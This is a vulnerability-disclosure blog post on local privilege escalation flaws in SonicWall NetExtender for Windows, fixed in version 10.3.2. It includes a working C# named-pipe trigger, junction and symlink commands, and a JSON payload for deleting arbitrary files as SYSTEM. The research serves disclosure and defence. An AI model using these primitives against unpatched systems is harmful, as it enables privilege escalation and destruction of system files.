During a recent host-based penetration test, NetSPI discovered multiple arbitrary SYSTEM file delete vulnerabilities in SonicWall NetExtender for Windows, a popular enterprise VPN client. In this blog, we’ll discuss how they were discovered and subsequently leveraged for local privilege escalation. 

TL;DR

  • NetSPI identified multiple arbitrary SYSTEM file delete vulnerabilities in NetExtender which can be leveraged for privilege escalation, tracked as CVE-2025-23009. 
  • NetSPI identified an arbitrary SYSTEM file overwrite vulnerability which can be leveraged for denial of service, tracked as CVE-2025-23010. 
  • SonicWall has addressed these vulnerabilities in an updated version of NetExtender for Windows (10.3.2). 

Initial reconnaissance   

The discovery process began several days before a scheduled client engagement, a host-based penetration test of a system running a customized build of Windows 11 24H2. Initial inventory of software and services on the system revealed that the build was relatively clean, with minimal amounts of installed software and substantial hardening compared to a default installation of Windows 11.

Of note, was the installed VPN client, SonicWall NetExtender 10.3.1. The previous version of which (10.3.0) is affected by a now-patched local privilege escalation vulnerability (CVE-2025-23007) reported by Eduardo Pérez-Malumbres Cervera of KPMG Madrid. NetSPI sought to identify the root cause of this issue and audit the software for further similar vulnerabilities, which could be leveraged to elevate privileges on the target system.

Reverse engineering a non-public exploit 

No public proof-of-concept exploit code was released for the previous vulnerability. However, from the vendor advisory and a proof-of-concept video released by Eduardo it was possible to deduce the following: 

  • The vulnerability was an arbitrary SYSTEM file read performed by the NetExtender service (NEService.exe). 
  • The vulnerable functionality was related to the “Log Export” feature. 
  • The vulnerable functionality can be triggered via a Named Pipe, negating the need to interact with the NetExtender UI. 

Armed with this information, NetSPI installed NetExtender 10.3.0 on a test system and opened the NetExtender UI (NetExtender.exe).
Additionally, NetSPI launched the SysInternals tool “Procmon” and created filters to include only successful ReadFile operations related to NEService.exe or NetExtender.exe. 

With appropriate event filters configured, the “Export Logs” button within the UI was pressed. 

As a result, NetSPI observed NEService.exe, running as SYSTEM, querying the directory C:\ProgramData\SonicWall\NetExtender for files and sub-directories. Any files identified within the directory or sub-directories were subsequently read, copied and zipped to a file in the users Downloads folder. 

Based on the observed behavior, it is reasonable to assume that if a method to control the initial file read is discovered then it will be possible to have the contents of arbitrary directories and files copied to a location readable by a low privileged user. Typically, manipulation of filesystem operations can be carried out through the use of symbolic links. However, NTFS symbolic links by default can only be created by Administrators through the SeCreateSymbolicLinkPrivilege. This restriction can however be circumvented by leveraging NTFS junctions, which at a high-level act like folder-level shortcuts which transparently redirect file access from one folder to another folder. 

The CreateMountPoint tool published by James Forshaw of Google Project Zero is capable of creating these junctions. In the below example, this tool was used to create a junction between C:\ProgramData\SonicWall\NetExtender\ and C:\Windows\System32\drivers\etc\. 

.\CreateMountPoint.exe C:\ProgramData\SonicWall\NetExtender\ C:\Windows\System32\drivers\etc\ 

With ProcMon running, the “Export Logs” button was once again clicked and file operations performed by NEService.exe were monitored. 

NetSPI observed NEService.exe transparently following the NTFS junction, subsequently reading all files under C:\Windows\System32\drivers\etc\.
All files under this directory were subsequently zipped and copied to the users Downloads folder where they were accessible as the low privileged user: 

At this point, NetSPI had confirmed the vulnerability reported by Eduardo and proved that it was possible to access arbitrary files through manipulation of the file operations performed by NEService.exe. The final piece of the puzzle was identifying how Eduardo was able to trigger this vulnerability via a named pipe.  

Triggering the vulnerability without a GUI 

As the functionality can be triggered via the UI, it therefore made sense to start searching there first. Luckily for us, NetExtender.exe is a .NET application and as such can easily be disassembled using a tool such as dnSpyEx. 

Looking through the available classes, we find the following method related to the vulnerable log export functionality. In this method, we can see GenerateExportLogsMsg() being called with a path to the users downloads folder appended with a timestamp.  

private void exportLogsButton_ccMouseUpEvent(object sender, EventArgs e) { 
    NETraceLogs.Write(NETraceLogs.LogLevel.Debug, NETraceLogs.FormType.NELogs, "Export logs button clicked"); 
    DateTime now = DateTime.Now; 
    string path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Downloads\\NetExtender-" + now.ToString("yyyyMMddHHmmss"); 

    this.m_vpnMsgHandler.GenerateExportLogsMsg(path, NECommonUtil.GUI_DEBUG_PATH_STR).SendVpnMessage(3000); 
    this.exportLogsButton.buttonEvent = false; 
    this.exportLogsButton.buttonText = Localization.Exporting; 
    this.m_folderPath = Path.GetDirectoryName(path); 
    this.isExportingLog = true; 
    MainForm.ShowPendingBar(); 

} 

Inside the GenerateExportLogsMsg() method we see a JSON object jobject being constructed from the previously supplied path and an additional GUI_DEBUG_PATH_STR, which in this instance is just an empty string. A VpnMessage object is then instantiated and returned by passing our jobject to the FormatJsonData() method inside the constructor, alongside a MessageType of exportLogs. 

public VpnMessage GenerateExportLogsMsg(string path, string guiLog) { 

    JObject jobject = new JObject(); 
    jobject.Add("path", path); 
    jobject.Add("guiLog", guiLog); 

    return new VpnMessage(this.FormatJsonData(MessageCallBackData.MessageTypeToString[MessageCallBackData.MessageType.exportLogs], jobject), MessageCallBackData.MessageType.exportLogs); 

} 

Inside the FormatJsonData() method we see a new JSON object being created by appending the jobject we passed into the method with additional action and source strings. 

public string FormatJsonData(string action, JObject data = null) { 
    JObject jobject = new JObject(); 
    jobject.Add("action", action); 
    jobject.Add("source", Pipe.GetPipeName()); 

    if (data != null) { 
        jobject.Add("data", data); 
    } 
    return jobject.ToString(); 
} 

The final JSON object returned by this method and passed to the VpnMessage constructor looks like so: 

{ 
  "action": "exportLogs", 
  "source": "\\\\.\\pipe\\NEPipeStClient", 
  "data": { 
    "path": "C:\\users\\lowpriv\\Downloads\NetExtender-20250403154755", 
     "guiLog": "" 
  } 
} 

Note that the source value was recovered from the NetExtender.Pipe Class: 

public static string DEF_LIST_VPN_PIPE_NAME = "NEPipeStClient";
public static string DEF_SEND_VPN_PIPE_NAME = "NEPipeSMAVpnPipe"; 

Once the VpnMessage object is instantiated, the SendVpnMessage() object method is called, which passes the JSON object we just constructed and the exportLogs MessageType to the method SendJsonStr().

public bool SendVpnMessage(int timeout = 3000) { 
    return MessageHandler.Instance.SendJsonStr(this.m_jsonData, this.m_type, timeout); 
} 

Finally, SendJsonStr() calls VpnSendMessageOnPipe() with our JSON object, exportLogs MessageType and a timeout. 

public bool SendJsonStr(string JSON, MessageCallBackData.MessageType msgType, int timeout) { 
    MessageHandler.m_sendMessageMutex.WaitOne(); 
    bool result = Pipe.VpnSendMessageOnPipe(JSON, msgType, timeout); 
    MessageHandler.m_sendMessageMutex.ReleaseMutex(); 
    return result; 
} 

At a very high level, VpnSendMessageOnPipe() connects to the NEPipeSMAVpnPipe named pipe exposed by NEService.exe and passes in our JSON object. 

public static bool VpnSendMessageOnPipe(string JSONStr, MessageCallBackData.MessageType msgType, int timeout) { 

    bool result = false; 

    try { 

        NamedPipeClientStream namedPipeClientStream = new NamedPipeClientStream(".", Pipe.DEF_SEND_VPN_PIPE_NAME, PipeDirection.Out); 

        namedPipeClientStream.Connect(timeout); 

        using(StreamWriter streamWriter = new StreamWriter(namedPipeClientStream, Encoding.Default, 4096)) { 

            streamWriter.AutoFlush = true; 

            streamWriter.Write(JSONStr); 

        } 

        namedPipeClientStream.Close(); 

        if (msgType != MessageCallBackData.MessageType.queryStatus && msgType != MessageCallBackData.MessageType.queryLogs) { 

            Pipe.m_lastMsgType = msgType; 

            NETraceLogs.Write(NETraceLogs.LogLevel.Debug, NETraceLogs.FormType.NEUnknown, string.Format("SendMsg:{0}", Pipe.m_lastMsgType.ToString())); 

        } 

        result = true; 

    } catch (Exception ex) { 

        Console.WriteLine("Failed to write to the VPN Service pipe: " + ex.ToString()); 

    } 

    return result; 

} 

Finally, we can put all the pieces together and programmatically trigger the exportLogs functionality without reliance on the NetExtender UI. The following C# code was created to do this: 

using System; 
using System.IO; 
using System.IO.Pipes; 
using Newtonsoft.Json.Linq; 
using Newtonsoft.Json; 
using System.Text; 

class Program 
{ 
    static void Main(string[] args) 
    { 
        string action = "exportLogs";  
        string source = "\\\\.\\pipe\\NEPipeStClient"; 
        string path = "C:\\users\\lowpriv\\Downloads\\foo"; 
        string guiLog = ""; 

        JObject dataObject = new JObject 
        { 
            { "path", path }, 
            { "guiLog", guiLog } 
        }; 
        JObject finalJson = new JObject 
        { 
            { "action", action }, 
            { "source", source }, 
            { "data", dataObject } 
        }; 
        string jsonString = finalJson.ToString(Formatting.Indented); 

        Console.WriteLine("[*] Attempting to exportLogs via NEPipeSMAVpnPipe."); 
        Console.WriteLine("[*] Sending JSON: "); 
        Console.WriteLine(jsonString); 
        
        if (SendPayloadToVPNPipe(finalJson.ToString(Formatting.None), 3000)) 
        { 
            Console.WriteLine("[+] Successfully called exportLogs via NEPipeSMAVpnPipe."); 
        } 
        else 
        { 
            Console.WriteLine("[!] Failed to call exportLogs via NEPipeSMAVpnPipe."); 
        } 
    } 

    public static bool SendPayloadToVPNPipe(string JSONStr, int timeout) 
    { 
        bool result = false; 
        try 
        { 
            NamedPipeClientStream namedPipeClientStream = new NamedPipeClientStream(".", "NEPipeSMAVpnPipe", PipeDirection.Out); 
            namedPipeClientStream.Connect(timeout); 
            using (StreamWriter streamWriter = new StreamWriter(namedPipeClientStream, Encoding.Default, 4096)) 
            { 
                streamWriter.AutoFlush = true; 
                streamWriter.Write(JSONStr); 
            } 
            namedPipeClientStream.Close(); 
            result = true; 
        } 
        catch (Exception ex) 
        { 
            Console.WriteLine("Failed to write to the VPN Service pipe: " + ex.ToString()); 
        } 
        return result; 
    } 
} 

When compiled and executed we see that the logs are successfully exported and written to the path we supplied: 

The final step to reproduce Eduardos exploit would be to combine the above code with the junction attack we performed earlier. However, I will leave this as an exercise to the reader. 

Identifying further vulnerabilities 

Now that the previous vulnerability is understood we can begin to hunt for potential further vulnerabilities in the version of the software that we are attacking. As this bug is related to insecure file operations, we will focus on methods which trigger file operations. By clicking through various functionality in the NetExtender UI with ProcMon running, we observe several instances in which file deletes are being performed by NEService.exe running as SYSTEM against user modifiable files. 

The file C:\ProgramData\SonicWall\NetExtender\Nxpcap_tmp.pcap was observed being deleted every time the clearCapturedPacket action is called via the NEPipeSMAVpnPipe. 

The file C:\ProgramData\SonicWall\NxCredentialProvider\prelogon.v2.disabled was also observed being deleted every time the saveProperties action is called via the NEPipeSMAVpnPipe. 

Additionally, NetSPI identified a method to delete arbitrary files as SYSTEM via a user-supplied path in the JSON object when triggering the saveCapturedPacket action via the NEPipeSMAVpnPipe named pipe.
A JSON object to achieve this would look like so: 

{ 
  "action": "saveCapturedPacket", 
  "source": "\\\\.\\pipe\\NEPipeStClient", 
  "data": { 
    "path": "C:\\Windows\\System32\\config\\hello.txt" 
  } 
} 

The first two SYSTEM file delete primitives can be leveraged via NTFS junctions and Object Manager symbolic links. As described earlier in this post, an NTFS junction acts like a folder-level shortcut which transparently redirects file access from one folder to another folder. A symbolic link in Windows Object Manager is an internal shortcut that can point to files, devices or resources. In combination these can be used as a pseudo-symlink to redirect file operations to arbitrary locations, assuming the user has write access over the source file. 

The CreateSymlink tool published by James Forshaw of Google Project Zero is capable of creating these pseudo-symlinks. In the example below, this tool is used to create a pseudo-symlink between C:\ProgramData\SonicWall\NxCredentialProvider\prelogon.v2.disabled and C:\Windows\System32\drivers\etc\hosts. 

CreateSymlink.exe C:\ProgramData\SonicWall\NxCredentialProvider\prelogon.v2.disabled C:\windows\System32\drivers\etc\hosts 

Opened Link \RPC Control\prelogon.v2.disabled -> \??
\C:\windows\System32\drivers\etc\hosts: 00000140 
Press ENTER to exit and delete the symlink 

After configuring the pseudo-symlink we trigger the delete operation via the saveProperties action and observe the resulting behavior with ProcMon: 

We see that the pseudo-symlink was followed and the file C:\windows\System32\drivers\etc\hosts was subsequently deleted meaning that we have the ability to perform arbitrary file deletes as SYSTEM. 

Elevating privileges 

Being able to delete arbitrary files as SYSTEM may seem somewhat limited in terms of impact, typically limited to denial of service. However, techniques described by Abdelhamid Naceri in 2021 and 2023 demonstrated that it is possible to leverage file delete vulnerabilities for reliable local privilege escalation through the manipulation of rollback files utilized during installation of .MSI files. 

A full explanation of these techniques is outside the scope of this blog and are best described in this article by the Zero Day Initiative (https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks).  

Nevertheless, NetSPI was able to leverage these techniques to produce three distinct reliable local privilege escalation exploits based on the arbitrary file delete primitives described above. 

Local privilege escalation via clearCapturedPacket action: 

Local privilege escalation via saveCapturedPacket action: 

Local privilege escalation via saveProperties action:

Note that weaponized exploits will not be made available and are left as an exercise to the reader. 

Recommendations

The version of SonicWall NetExtender for Windows should be updated to 10.3.2 (available as of 2025-04-09) which addresses the issues highlighted in this blog post.  

References

Timeline

2025-02-07

NetSPI reports an initial arbitrary file delete vulnerability to SonicWall.

2025-02-07
2025-02-09

NetSPI reports two additional arbitrary file delete vulnerabilities and an arbitrary file overwrite vulnerability. 

2025-02-09
2025-02-10

SonicWall acknowledges the initial reports and begins triaging the issues. 

2025-02-10
2025-02-12

NetSPI provides weaponized local privilege escalation exploits and further details to SonicWall.

2025-02-12
2025-02-12

SonicWall reviews and confirms the submissions and begins remediation efforts.

2025-02-12
2025-03-12

SonicWall provides NetSPI a patched test build for verification. 

2025-03-12
2025-03-13

NetSPI confirmed that the issues are addressed by the patch. 

2025-03-13
2025-04-08

SonicWall publishes security advisory SNWLID-2025-0006.

2025-04-08
2025-05-29

NetSPI publishes blog post. 

2025-05-29
NetSPI Joins AWS ISV Accelerate Program

Learn how red team exercises enhance your team’s safeguards against threats